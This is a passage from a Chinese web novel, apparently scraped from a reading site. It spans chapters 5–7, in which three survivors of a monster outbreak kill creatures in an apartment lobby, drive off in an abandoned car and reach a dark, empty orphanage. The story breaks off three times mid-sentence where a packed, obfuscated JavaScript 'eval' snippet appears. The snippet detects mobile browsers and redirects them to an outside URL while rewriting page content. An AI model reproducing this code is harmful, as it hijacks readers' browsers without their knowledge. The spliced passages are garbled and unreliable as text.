当机立断,黎望舒丢开断成两截的拖把棍,拉着杜蕊就要后退;但怪物的反应比她预想得更快,明明上一秒还在疼痛中抽搐,下一秒就翻过身来,炮弹似的又向她撞了过来。 “不要——!”杜蕊哭得撕心裂肺,下意识转头寻找郁仪。 ……还不行,再等一等。 眼看她躲避得险而又险,尖牙几次擦着脸颊飞过,郁仪忍不住有些心焦,右手不自觉地发力,“唰”地一声拔剑出鞘。 黎望舒却像后脑长了眼睛似的,一边翻滚着躲开了怪物的撞击,一边咬牙吼了一声:“再等等!” 他手腕一僵,挣扎一瞬后,将剑刃收回了鞘中,但仍紧握着剑柄,全神贯注地观察着黎望舒的动作,随时准备出手。 那怪物行动起来非常灵活,利用触手在墙面与地板间迅速弹射,仿佛看出了黎望舒更具威胁性似的,背上的干瘪眼球紧锁在她身上,次次直冲她的面门。 血盆大口在眼前急速放大,潮湿的腥臭味扑鼻而来,黎望舒却冷静得不可思议,只觉得头脑从未如此清明过,进入了一种极为玄妙的状态,连怪物的动作落在她眼中,仿佛都放慢了几分。 本能地,她的触手从裙下伸出,悄然伸长,一眨眼的功夫便在面前织出了一面蓝黑色的大网,将笔直向她冲来的怪物牢牢束缚在半空中。 触手的力量比她的双手大得多,怪物被缠得动弹不得,只有尖牙还在徒劳撕咬着空气。 这回,无需黎望舒出声,杜蕊便自觉地高举起斧头,朝怪物脆弱的口腔劈去——她表情用力得有些扭曲,一斧、又一斧,着了魔似的,直到黎望舒收回触手,怪物支离破碎的身体“啪嗒”一声坠地,才回过神来。 “没事了。”黎望舒轻轻捏住杜蕊的手腕,将她带入怀中,安抚地轻拍她的背,“已经没事了。” “怪物也没想象中那么难杀嘛,哈哈……”杜蕊面色惨白,勉强扯出一个笑来,但目光触到地上血肉模糊的一团时,又猛地捂住嘴,干呕了几声。 “迈出这一步就好了。”黎望舒笑了。 “该走了。”郁仪扫了眼天花板,低声催促,“有东西要来了。” 黎望舒目光冷冷地扫过那道金属门——自那个怪物出现,里头的人就像被割了舌头似的,再也没有发出一点声音。 杜蕊有些脱力,借黎望舒的力站起身来,也朝那边瞪了一眼,咬牙道:“这家伙……引来了怪物,却连一句道歉的话都不愿意说吗?” “我的剑,能劈开金石。”郁仪冷不丁出声,与黎望舒对上了视线,顿了顿,又接着说了下去,“如果你想报复,我可以……” “不必。”明白他的意思,黎望舒打断了他,“那样的蠢货活不了多久,不用为他冒险。” 郁仪沉默点头。 -- 金属门内,发福男人数次确认猫眼,又贴着门听了许久,确认那三人彻底离开后,总算松了口气。 “擦,吓死老子了……那几个人,到底什么来头。”他贴着门坐下,心有余悸地擦了擦额头上的冷汗,缓了一会儿后,又有些恼怒,“还‘劈开金石’呢,我呸!一群小年轻,中二病犯了吧,吹牛也不打草稿!” 骂了两句,他又心慌起来,做贼心虚地左右看了看,吞了口唾沫,忍不住又凑到猫眼前面。 “嗯?奇怪……”与之前不同,这次的猫眼里一片漆黑,他疑惑地擦了擦镜头,又看了几秒。 是刚刚那几个人把猫眼盖起来了?还是…… 突然,那片黑暗动了动——意识到那是什么的那一瞬,他背后猛然炸起了一片鸡皮疙瘩。 “啊……啊!”他猛然后退几步,语无伦次地求饶,“是谁?对不起……对不起!我什么也没做,饶了我吧,求你了!” 回应他的,是门锁被暴力破坏的声响。 -- “啊——!!” 头顶上隐约传来一声凄厉的惨叫,杜蕊被吓了一跳,疑惑地回头,“什么动静?好像有点耳熟……” “是刚刚那个人,上面果然还有怪物。”黎望舒面色凝重,手里握着厨刀,脚步轻轻落在台阶上,“我们加快速度,离开这栋楼。” “但外面也有怪物,街上那么空旷,反而找不到能躲的地方……”杜蕊忧心忡忡,“天也快黑了,要不我们留下,找个房间先过一晚?” “不行。”黎望舒果断否决了这个提议,“楼上那人虽然又蠢又坏,但再怎么说不会随便打开房门,应该是有东西破门而入。但按郁仪的说法,普通怪物现在还没有足以破开房门的力量。” “你的意思是……楼上的怪物是个大家伙?”杜蕊瞪大了眼睛。 “谨慎起见,最好不要遇上楼上那东西。”黎望舒脚步不停,“之前在窗边观察了一会儿,外面的怪物分布得不算太密集,我们行动小心些,另找地方落脚吧。” 杜蕊攥紧手里的消防斧,不安地“嗯”了一声。 很快,三人下到了一楼,即将踏出楼梯,进入大厅时,黎望舒骤然停下了脚步。 她打了个手势,示意身后二人不要出声,自己探出半个脑袋,向正门的方向看去。 ——首先映入眼帘的,是洁白地砖上几道刺目的血痕,仿佛被什么东西拖拽过似的,长长地延伸到大厅另一头,白墙上是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794243|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一大片飞溅的血点,但诡异的是,她的视野范围内偏偏没有尸体。 视线再往远处看,大门边上赫然趴着一只庞大的青黑怪物,身躯几乎顶上了天花板,两侧的硕大眼睛紧闭,伏在地上,像是睡着了,周身的粗壮触手随着呼吸微微颤动着。 ……怪不得一路下来风平浪静,原来在这里等着呢。 确认那大怪物暂时没有起身的意图后,她面色凝重地对身后二人使了个眼色,三人缓缓退回了二楼。 “什么!这可怎么办啊……”听完黎望舒的描述,杜蕊又慌张起来,“我们被上下两个怪物包围了!” “正门是不能走了,另一边有条安全通道,但去那里也要经过大厅,或者直接从二楼翻出去……”黎望舒拧眉,看向一直沉默的郁仪,“你觉得怎么走更好?” “我?”突然被点名,郁仪一怔,“我听你的。” 杜蕊也跟着点头,一双杏眼期盼地望着黎望舒。 决策权被交回了自己手上,黎望舒顿时感受到一股重压——若只有自己一人,她早就头也不回地穿过大厅,冲向安全通道了;可现在她不得不仔细分析方案的风险大小,迟迟下不了决心,只因同伴的性命也牵在她手上。 她可以不在乎自己,却不想随意决定他人的命运。 特别是杜蕊——黎望舒能感觉到,杜蕊发自内心地信任着她,在她的默许下,甚至还有些依赖她。 她不能辜负杜蕊的信任。 见黎望舒踌躇不决,郁仪后知后觉地察觉到了她的为难,立刻出声:“如果你决定不了,也可以交给我。” “交给你?”黎望舒问,“你打算怎么做?” “我去把那怪物杀了。”他语气平淡,仿佛在谈论微不足道的小事,“如果你想留下来休息,上面那一只我也能一起杀掉。” 杜蕊瞪大了双眼。 黎望舒也被他的狂气惊到,愣了一下才继续追问:“你有几成把握?” “……九成。”怕她觉得自己自大,郁仪并未把话说满。 “如果你有更好的方案,需要我的时候,一声吩咐,我也会照做。”见她不语,郁仪又垂眸补充了一句,“不必有心理负担,我……用了你的物资,帮你做事也是应该的。” 身侧传来了小小的拉力,黎望舒转头一看,杜蕊拉着她的毛衣下摆,正对她挤眉弄眼——那眼神分明在说,你从哪里捡来了这么个大杀器。 “咳……那我们就走安全通道。”黎望舒清了清嗓子,低声说出自己的计划,“那边出了门是一条小巷子,比视野开阔的正门更好藏身。穿过大厅时小心点,如果把怪物吵醒了,就交给郁仪解决……你觉得怎么样?” 最后,她偏头征询郁仪的意见,却猝不及防地迎上了他温柔似水的视线。 郁仪并没有移开目光,反而很高兴似的,盯着她的琥珀色瞳孔,缓缓弯了弯眼,“我没意见。” “……好,那就这么办。”黎望舒挑眉,若无其事地收回了目光。 杜蕊张大嘴巴,视线在面前二人身上来回打转,对八卦的渴望一时间超越了对死亡的恐惧。 这两个人……到底是怎么一回事?! 5. 第 5 章 一楼大厅,半人高的青黑怪物依旧在大门前沉睡,小山似的身躯微微起伏着,一片寂静中,只能听到它时断时续的沉重呼吸声。 黎望舒肩膀紧贴着墙,小心地绕开地上的血泊,缓缓向前移动,连呼吸都放得极轻。 大厅里太安静了,连自己吞咽唾液的声音都显得那么震耳欲聋……但越是在意,唾液分泌得就越是源源不绝。 前方是杜蕊单薄的背影,只披着毛线外套的肩膀在寒冷空气中微微哆嗦着——羽绒服外套的摩擦声响太大,杜蕊将它留在了楼上。 她扶着墙的手被冻得发青,另一只手牢牢地捂在嘴上,没有让牙关打战的声音泄露出来。 眼看路程即将过半,黎望舒喉咙动了动,瞥向门边——怪物依旧睡得很沉,丝毫没有醒来的迹象。 很好,这样下去的话能行! 她收回视线,低头仔细看路,视野中却突然出现了一双深色长靴——精神高度集中之下,她惊得手指一缩,然后才反应过来,到了该换队形的时候了。 出发前,三人商量着改变了队形——前半段由郁仪打头阵,后半段也由他来殿后,这样一来,郁仪始终是那个离怪物最近的人,可以第一时间将怪物斩杀,她们二人的安全也能得到保障。 空气中的紧张感有如实质,凝滞又粘稠地裹在心头,让人呼吸不畅;但郁仪却毫无所觉似的,面色如常不说,与她对上视线时还弯了弯眼,牵出了一个柔和的笑。 ……这家伙,还真是底气十足。 但回想起他斩杀怪物时干净利落的模样,黎望舒又觉得这份自信是理所应当。她从没怀疑过郁仪的实力,亲眼见识过郁仪快如疾风的剑法后,她甚至产生了一种错觉——这世上恐怕没什么东西有资格做他的对手。 但她看不透郁仪这个人。 天上不会无缘无故地掉馅饼,这个道理她从小就明白。但郁仪这块馅饼偏偏在她最需要的时候掉在她面前,甚至还不求回报地为她出力……她想不通,郁仪这么做的理由究竟是什么,自然无法全然信任他。 但眼下,既然郁仪没有表现出恶意,就不必追究那么多了——先渡过眼前难关要紧,就算这家伙别有目的,也不影响黎望舒利用他的力量,其他东西大不了日后再深挖。 黎望舒脑中思绪不停,面上依旧表现自然,冲郁仪微微一点头,便继续向前走去。 从她眼中看出了一丝提防,郁仪眸色微黯,抿了抿唇,无言地抬步缀到她身后。 这是在所难免的,郁仪失落地想,没关系……只要做得够多,她总有一天会对自己敞开心扉。 刻意忽视了胸中针扎似的痛意,郁仪握紧剑柄,目光冰冷地刺向沉睡的怪物。 ——他甚至卑劣地希望这只巨兽能够醒来,那样的话,他就能多一点表现机会,来向她证明自己的真心。 路程接近终点,安全通道的绿色标牌近在眼前,本该是卸下胸口大石的时候,但地上愈发浓重密集的血痕却让黎望舒多了一股不祥的预感。 一路走来都没有看到尸体,这血……究竟是从哪儿来的? 就在这时,伴随着突然变得急促的呼吸声,身前的杜蕊突然停下了脚步,黎望舒险些撞上她的后背。 杜蕊噙着泪回头,面色青白,手指颤抖着指向前方;黎望舒顺着她手指的方向看去,瞳孔一缩,下意识屏住了呼吸。 ——安全出口的两扇双开铁门被斑驳血色浸染,似乎被暴力摧残过,残破地挂在门轴上摇摇欲坠,门边是一摞由血肉堆成的高山,不知从哪伸出的蜡黄指尖滴滴答答地向下滴着血;地上的血液尚未干涸,从尸堆底下一路流向远处,小溪似的横在杜蕊鞋尖前,让她不敢迈步。 大厅里横七竖八的拖拽血痕最终都汇集到了这个角落里……难怪之前一具尸体也看不到,原来都被那怪物拖在一起了。 尸堆表面嵌着不少眼熟的面孔,大部分都是这栋公寓的住民,应该是在回家或向外逃的时候被怪物抓住,化作了它的狩猎对象。 该死,它把这栋楼当成什么了……自己的粮仓吗?! 黎望舒拳头紧攥,指甲刺得手心生疼,投向怪物的目光带着狠意,像是要从它身上挖下一块肉似的。良久,她压下心中的怒火,拍了拍杜蕊的肩膀,示意她继续向前。 无论如何,先让战力较弱的杜蕊离开这里,不能把她也拉入险境。 三人行至安全出口标牌下,鞋底都被染成了暗红色,鞋跟不时带起血珠,又落回血泊中,滴滴答答地响个不停。 门前横着半具身体,老花镜碎裂在一旁,往日慈祥的下垂眼空洞地圆睁着,银白头发泡在血水中,手中还紧攥着一把钥匙——是公寓中管理门锁的小老太太。 她像是被怪物从安全通道的另一头拖回来了。 杜蕊紧紧捂住口鼻,几乎压不住喉中的哽咽,一闭眼,双腿打着颤跨过那具尸体,进入了安全通道之中。 就在黎望舒也准备迈步之时,一阵风从大开着的出口吹入,将摇摇欲坠的铁门吹得微微摆动了一下,生锈门轴转动时发出了刺耳的声音,在寂静的大厅中回荡—— “吱呀——” 糟了! 几乎就在下一个瞬间,身后传来了怪物喉中的咕噜声与触手滑动的粘稠声响,黎望舒立刻止住脚步,朝杜蕊大喊一声:“跑!” 与此同时,她回过头去,与郁仪对视一眼——对方似乎猜到了她的心思,并没有立刻出手,而是留在原地,等待她的指示。 “我们上!”黎望舒牙关紧咬,扎起裙摆,拔出腰间的厨刀,触手在地板上飞速游动,俯下身体向怪物冲去,沿路溅起一片血点,郁仪紧跟在她身后。 伴着沉闷的破空声,两根触手朝他们激射而来,不等黎望舒反应,身侧凌厉剑光一闪,两根触手便光滑地被切成两段,爆出一滩青绿血液后,吃痛地缩了回去。 “这只的表皮比之前那只坚硬,你的厨刀不够锋利,恐怕伤不到它。”郁仪收剑,低声提醒。 黎望舒应了一声,触手分出两股,悄然伸长,向怪物包围而去。 刺不动表皮,那就寻找薄弱之处——她将目标放在了怪物身体两侧的硕大眼球之上。 怪物袭来的触手无法突破郁仪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794244|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑势,被尽数斩断,颤抖着蜷在身侧;它躁动地站起身来,庞大身躯在二人身上投下一片阴影,压迫感极强。 在郁仪的掩护下,黎望舒畅通无阻地冲到了怪物身前,早已布置好的两圈触手猛地缠上了怪物的身体,用力一扯,她便在自己触手的力道下,飞上了怪物的“肩头”。 怪物像是预感到了什么,愈发狂躁地挣扎起来,想要将她甩下来;她触手牢牢缠住怪物,将自己固定住后,对准怪物滴溜溜转动着的红色眼珠,高举厨刀,猛地刺了下去,又发了狠地向下一划—— “嗷——!”腥臭带着潮气的淡红色液体喷涌而出,打湿了她的衣裙,怪物没头没脑地原地旋转着,没被束缚住的触手四处乱甩,尖厉的嚎叫刺得耳膜发疼。黎望舒忍着头晕,又往眼眶中补了几刀,但厨刀太短,刺不到要害之处,怪物反而被刺激得愈发癫狂。 她只好松开触手,从怪物肩上跳了下来。就在她重新布置触手,打算将怪物另一只眼睛也扎透之时,不知从哪儿飞来一只消防斧,旋转着破开表面、劈入了那只眼球中。怪物被剧痛折磨得近乎崩溃,狂暴一瞬后,竟然突兀地瘫软了下去。 黎望舒睁大眼睛,回头一看——本该待在安全通道里的杜蕊不知何时回到了大厅中。她靠着墙才能勉强站立,急促地喘息着,额头上满是冷汗,单手捂住肩膀,冲她露出一个苍白的笑容。 “想亲手解决它吗?”郁仪的声音唤回了她的注意力。他“唰”一声拔出剑来,将剑柄递到黎望舒面前,“用这个——剑刃很利,小心点,别划伤手。” 黎望舒看了他一眼,接过剑柄时手腕一沉——这把剑在郁仪手里时被挥舞得飘逸又轻便,但实际重量要比看上去沉得多。 她还是第一次看清这把剑的模样——银白的剑身如水般光滑清亮,散发着盈盈的清辉,又像面镜子似的,能够清晰地反射出面前的事物,中心刻着一条低调的暗纹,十分美丽。 先前郁仪用它斩断了不少触手,但它却完全没有沾上一丝污秽,依旧光洁如新,在她的手中欢欣地嗡鸣。 ……等等,嗡鸣? 黎望舒紧握剑柄,另一只手小心地捏上了光洁的剑刃——触感冰凉,一片平静,刚刚的振动仿佛是她的错觉。 她眯了眯眼,让杜蕊走得远了些后,提着剑游到怪物破碎不堪的眼珠旁,高高举起剑,扎进了怪物的身体之中;怪物似乎已经没力气反抗了,一阵痉挛后,便失去了最后一点活力,彻底瘫在了地上。 这剑刃果然非常锋利,切割时的手感比厨刀顺畅得多,几乎没有感觉到阻力,让她有些爱不释手。保险起见,黎望舒又握着剑柄,将剑刃在怪物体内搅了几圈,然后才将它拔出来——随着她的动作,一股青绿液体被带出,淋漓洒落干净后,底下的剑刃又变回了一片光洁的样子。 黎望舒还剑时,不经意间将剑尖对准了郁仪,恋恋不舍地又捻了捻剑刃,随口问:“你这剑……不会像小说里写得那样有意识吧?” 一阵可疑的沉默后,郁仪偏过头去,耳根不知为何染上了一层薄红,难得有些吞吐:“……应、应该是没有的。” 6. 第 6 章 “……应该是没有的。” 说完,郁仪毫不介意近在眼前的剑尖,从她手中接过剑柄,手腕一翻,便将剑刃重新收回鞘中。 应该? 黎望舒压着眉毛盯着他看,眼睁睁看着他耳边的薄红逐渐扩散。 虽然十分在意他暧昧的用词,但黎望舒并没有深究,多看了他两眼后就将疑惑压在心底,快步向杜蕊的方向跑去。 杜蕊捂着右胳膊,嘴唇冻得青白,看见黎望舒跑过来,哆嗦着冲她展开了笑容——黎望舒将她上上下下仔细打量了一遍,并没有看到明显的外伤,这才放下心来。 “没事吧?”黎望舒甩下背包,想把自己的外套脱下来给她披上,但触手一片湿凉滑腻,这才想起来自己已经被怪物的血液淋透了,手指尴尬地顿在半空,“你怎么过来了?” “哪有什么为什么,总不能把危险都推给你们,自己在后面躲着吧,太丢人了,我才不要。”杜蕊被她的动作逗得笑出了声,又吸了口凉气,“嘶……好疼!刚刚太使劲了,右手臂好像有点拉伤……真奇怪,我以前明明练过铅球的。” “铅球?那都是多少年前的事了。”黎望舒无奈,“疼得厉害吗?” “没事,完全能忍!”怕她不信似的,杜蕊小跑几步,单手拔出了嵌在怪物眼球中的消防斧,笑着冲她挥了挥,“右手不能用,这不是还有左手吗。” 三人在大厅中休整一番后,便打算继续上路。 杜蕊呲牙咧嘴地套上了从楼上取回的羽绒服,又将自己裹成了圆球。她搓了搓手,看着黎望舒一身的青绿粘液,咋舌道:“望舒,真的不上去换衣服吗?你这一身粘液看着也太惨了。” 黎望舒面不改色地摇头:“没这个必要,我又不冷,最多就是有点味道。还是快点离开这里比较好。” “您真是女侠。”杜蕊竖起了佩服的大拇指,“所以我们走哪条路?钻小巷还是走大路?步行的话天黑之前应该到不了孤儿院,还得找过夜的地方……麻烦事一堆啊。” 郁仪静静地望向黎望舒,等待她的指示。 “走大路。一边走,一边找能用的车。”黎望舒迅速做出了选择,“以我们的实力足够应付大多数怪物,不必畏首畏尾。” “说的也是。”杜蕊难得地伸了个放松的懒腰,“说实在的,有你们两个高手在身边,我现在特别有安全感。” “那就好。”黎望舒笑着拍了拍杜蕊毛绒绒的发顶,“我们走吧。” 杜蕊正笑眯眯地乐呵着,背后突然传来一股寒气——她打了个冷战,猛地回头一看,刚好捕捉到了郁仪泛着凉意的眼神。 与她对上目光,郁仪眉骨下压,又瞪了她一眼后,迅速撇开目光,浑身上下都散发着敌意。 ……果然! 看到他这样的反应,杜蕊更加坚定了自己的猜想。 ——这家伙一定对望舒有意思,不仅如此,他还嫉妒自己能和望舒亲密接触! 何等扭曲的恋爱观,居然连望舒身边的女人都不放过……话说,她表现得很像蕾丝边吗?也没有啊! “怎么了?”黎望舒转头一看,才发现后面僵持着的两人,疑惑发问。 “没、没什么!”杜蕊连忙紧走两步,跟上了黎望舒。 -- “喂,快看,这辆车还插着钥匙!” 马路边,杜蕊站在一辆黑色越野车旁,尝试着拉动车门,没想到真的拉开了,连忙招呼距离不远的二人。 ……离开公寓后,他们沿着马路走了将近三十分钟,路上也遇见过怪物,但都是些脆弱的小型种,有惊无险地解决掉了。 这里是个被大山包围的小县城,常住人口本就不多,此时死的死逃的逃,还有更多的人龟缩在家里不敢出门,一路走来,他们竟然半个活人也没见到。 天色渐暗,夕阳将天边的云烧得通红,即将消失在远方的山峰之后;马路也被镀上了一层橙红光晕,星星点点的碎玻璃在地面上反射着红光,让人心中无端地产生一股寂寥之感。 马路边本来就没多少汽车,稀稀拉拉地,大多数都上了锁;黎望舒看了眼天色,正琢磨着该去哪里过夜,就听见了杜蕊的呼唤声。 “我看看。”黎望舒钻进驾驶座,摸索一番后,惊喜道:“能行!这样一来,天黑前就能赶到孤儿院了。” 杜蕊呵呵傻乐了两声,突然一拍脑袋:“等等……你们两个会开车吗?” “……啊。”黎望舒脸色一僵,这才想起来杜蕊右手臂拉伤,开不了车。 沉默一瞬后,她整理好神色,冷静道:“我有驾照。” “但那是大一的时候考的吧,从那之后好像再也没见你上过路。”杜蕊一语戳破了她的逞强,“冒昧地问一句,你还记得多少?” “……有驾照就不错了!”黎望舒恼羞成怒,赖在驾驶座上,用力拉上了车门,“快上车,别耽误时间。” 没等杜蕊反应过来,郁仪便一阵风似的拉开车门,抢先一步占据了副驾驶,抱着剑闭上双眼。 被他的速度惊得目瞪口呆,杜蕊无语地撇了撇嘴。坐上后座后,她立刻绑紧了安全带,开口劝说:“望舒,开慢点啊,咱们不着急……” 黎望舒冷哼一声,踩下油门。 三十分钟后。 “……望、望舒,先停一停……”后座的杜蕊面色刷白,单手捂住嘴巴,一字一顿地艰难道,“我、我要吐了!” “等等,你别吐在车上!”黎望舒听了这话,心下一急,手忙脚乱地一个急刹车,又将杜蕊颠得一阵翻江倒海。 车门刚解锁,杜蕊就推开车门冲了出去,扶着路边的路灯,将午饭吐了个一干二净,“呕——” 副驾上的郁仪脸色也不太好看,向黎望舒报备了一句后,也推开车门下去透气。他目光一转,瞥见杜蕊身边的阴影中有什么在蠢蠢欲动,无言拔剑,斩落了那只扑到一半的小怪物。 “谢、谢谢……”杜蕊还没缓过来,又被吓了一遭,手脚发软,差点滑到地上。 郁仪微微一点头,算是回应了她的谢意,依旧高冷寡言。 杜蕊苦着脸擦了擦嘴,瞥了眼郁仪冷峻的侧脸,想起他扭曲的恋爱观与好友笔直的性格,念在救命之恩的份上,有心想开导他两句;但眼看黎望舒拔了钥匙,慌张下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794245|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了车朝她奔来,她只好又将话咽回了肚子里。 “没事吧?”先前的恼意早已烟消云散,黎望舒愧疚地为杜蕊顺气,“对不起啊,我开得不太稳。” “没事,你能开就已经很不错了。”再一次感受到身侧凛冽的视线,杜蕊脊背一僵,反手握住了黎望舒抚在她后背的手,正色道,“就快到了,我还能再忍忍……可能要多带点呕吐袋。” “小蕊……”黎望舒感动地握紧了她的手。 就在她们互相安慰着,即将双双热泪盈眶之时,旁边突然传来一声轻咳,打断了她们的煽情对话,“……如果可以的话,让我来开一段试试如何。” “啊?”黎望舒难以置信地问,“你会开车?” “姑且会。”郁仪垂下眼睫。 直到看着郁仪坐上驾驶座,动作熟练地启动、挂挡、踩下油门,黎望舒依然沉浸在如梦似幻的情绪中。 从一开始,她们讨论驾驶员时便没把郁仪放进考虑范围之中——毕竟他穿得仙风道骨,气质也像隐居在山中的高人,让人无法想象,驾车这种充满现代气息的行为会和他挂上钩。 但行驶出一段路程后,黎望舒又不得不承认,郁仪的车技的确很不错——和自己横冲直撞的开法不同,即便是在山城陡峭曲折的道路上,他也开得又快又稳,就像他给人留下的印象一样,沉稳、安静又可靠。 “没想到你开得这么好,以前去过驾校?”想象不出他这样的人在驾校挨骂的样子,黎望舒忍不住问。 “……没有。”郁仪专注地盯着前方的道路,黑眸中染上些许怀念之色,“教我开车的,是一位故人。” “原来如此。”涉及他的过往,黎望舒斟酌一番后,没有接着往下问,转而提起另一件事,“那你有驾照吗?” 郁仪搭在方向盘上的手指抽了抽,心虚地目光游移,没有回答。 “也没有驾照其实也没那么重要,反正现在也没人会来扣分。”突然,杜蕊的声音幽幽地从后方飘来,“要我说,有驾照的人的车技,其实未必比没有的要好吧……” “住口!”黎望舒咬牙,回身去捏杜蕊的脸,杜蕊捏着鼻子连连求饶。 ……耳边萦绕着无忧无虑的笑闹声,连他空荡荡一片的胸口也受到了滋润似的,一点一点地被暖洋洋的幸福感充盈。他眉目间不知不觉软化出了弧度,唇角微微挑起,但很快又被自己压平。 如果时间能永远停留在这一刻,那该有多好。 夜色渐浓,车前两束灯光扫开阴霾,照亮了远处一堵涂着幼稚彩绘的墙壁;墙后,如同揭开了幕布似的,一栋红房顶的两层小楼逐渐从黑暗中显现出来,门口挂着歪歪扭扭的五个字——红帆福利院。 红房顶小楼静悄悄地立在原地,门窗紧闭,里面似乎没有开灯,大多数房间都是一片漆黑,只有二楼走廊边上的一扇窗户透着光,一闪一闪地,像是有人在用声控灯取乐一样。 望着那不时闪烁的灯光,郁仪眉间的暖意散去,取而代之的是一片沉沉的忧虑。他缓缓踩下刹车,将车停在彩绘墙壁的旁边,轻声开口—— “到了,红帆孤儿院。” 7. 第 7 章 夜色深沉,黎望舒举起手电筒,仰望着头顶上“红帆福利院”这五个大字,清楚地听到身侧传来一声响亮的吞咽声。 ……不怪杜蕊会害怕,头上这招牌有些年头了,底下的红漆剥落了不少,五个字也挂得歪歪扭扭,此刻经由手电筒的强光,在后面的红顶小楼表面投下了一片形状诡异的阴影,看起来颇有些阴森。 “里、里面怎么这么黑啊……”杜蕊又往黎望舒的方向挪了一步,几乎要贴上她的胳膊,看得郁仪直皱眉头。 黎望舒又朝那座熟悉的小楼看了一眼,心下微沉,但不愿去想那个最坏的结果,“……时间不早了,可能都睡了吧,我们动作放轻点。” 说着,便提着手电筒,神情冷肃地向前游去。 “等等,别走那么快呀……”眼看着手电筒的光亮越来越远了,杜蕊只好小跑着跟了上去。 穿过挂着红漆招牌的高大拱门,走过一片摆放着游乐道具的小院子,很快就来到了红顶小楼的大门前。黎望舒伸手去拉门把手,“咔哒”一声后,那扇门毫无阻力地敞开了。 门是虚掩着的。 黎望舒呼吸急促了几分,下一秒就冲了进去,环视一圈大厅后,在一楼的各个房间进进出出地翻找起来。 杜蕊一开始胆战心惊地紧跟在黎望舒身后,但没过多久就跟不上她的速度,被甩在黑暗中晕头转向。 她不敢一个人待着,于是气喘吁吁地找到了楼梯边上的郁仪,一屁股坐在了他身边,一边休息,一边看着手电光束焦灼地四处扫射;但还没等她把气喘匀,那道手电光便从走廊尽头转出,缓缓向她这边靠近,光束后黎望舒的面孔笼在阴影中,看不真切。 没有……什么也没有。 黎望舒差不多将一楼里里外外搜了个遍,但别说人类了,连虫子都没有发现一只;但同样的,她也没有发现血迹或是尸体,只在食堂的长桌上找到了没收干净的餐盘,其中几盘连汤带菜地盖在了地上,看起来离开得颇为匆忙。 ……算算时间,异变开始时,这里差不多正处在午餐时间的末尾。也许杨院长发现了外边的异动,所以组织大家去楼上躲避了?但大门门锁没有遭到外力破坏的痕迹,以杨院长的细心程度,应该不至于忘记锁门才对。 整个一楼弥漫着死一般的寂静,让人心生不安。打开最后一个房间,大致扫了一眼后,她抿了抿唇,向楼梯的方向游去。 “一楼没人,也没怪物。”没等面前的二人发问,黎望舒仿佛不说点什么就不能安心似的,率先开口解释,“底下都是些接待室和活动室,卧室在二楼……我先上去看看。” “那我也一起去。”杜蕊蹦了起来,小心地观察她的脸色。 郁仪没有出声,但原本松散靠在墙上的脊背,在她靠近时便绷直了,双眸半明半暗间闪着幽幽的光,里头隐隐含着些忧色。 “别这样。”看出了面前二人的顾虑,黎望舒扯了扯嘴角,目光投向深幽幽的上层楼梯,“无论结果如何,我都已经做好接受它的准备了。” 她深吸了一口气,下身触手一摆,悄无声息地爬上了阶梯。 就在黎望舒刚刚转过拐角,将手电筒向上偏移的那一刹,淡黄色光束中骤然映出了横在上方阶梯上的庞大黑影——她神经一紧,下意识拔出了扎在腰间的厨刀,触手瞬息间伸长,向黑影刺去。 然而,触手反馈回来的触感却非常奇怪——冰冷、稀软、毫无弹性,飘来的气味中带着刺鼻的潮湿腥气,如同一滩在腐烂物中浸泡了几个月的湿软泥巴。 黎望舒又忍着恶心,用触手在那团东西里搅了搅,确定它已经失去了活性后,才朝身后打了个手势,示意前方没有危险。 “呕……这是什么啊!”杜蕊犹豫着走过去,被诡异的味道熏得干呕了一声,下意识后退几步,差点被楼梯绊倒。 黎望舒尚在检查那团东西,就听身后的郁仪冷静给出了答案:“怪物的尸体。” “怪物?但我们之间见到的尸体也不长这样啊……”见黎望舒低着头翻翻找找,杜蕊又捏着鼻子凑了上去,瓮声瓮气道:“难道又是什么没见过的新品种?” “不是新品种。我们之前见到的都是刚死不久的形态,但它们的腐烂速度很快,像这只……”解释到一半,郁仪猝不及防地与黎望舒对上了视线,睫毛一颤,意识到什么似的,突然沉默下来。 “像这只,然后怎么了?”杜蕊还在催促,“你这人,不要总是说到一半就停下啊!” 然而,这次任凭她怎么催促,也没能从郁仪口中再撬出半句话来。 黎望舒深深地望了一眼郁仪,没说什么,回头继续检查那滩怪物——虽然已经烂得差不多了,但从中间残留的痕迹中依稀可以看出,这只怪物的死因是被人从中间劈成了两半。 虽然不及他们在公寓大厅中遇见的那只小山似的怪物,但这一只能将这么宽的楼梯从左至右占得毫无缝隙,生前的体型绝对也不小,能将这种大小的怪物从中间劈开…… 黎望舒不由得想起了郁仪那把剑。 不是她对郁仪有偏见,只是……郁仪有时表现得确实很可疑。 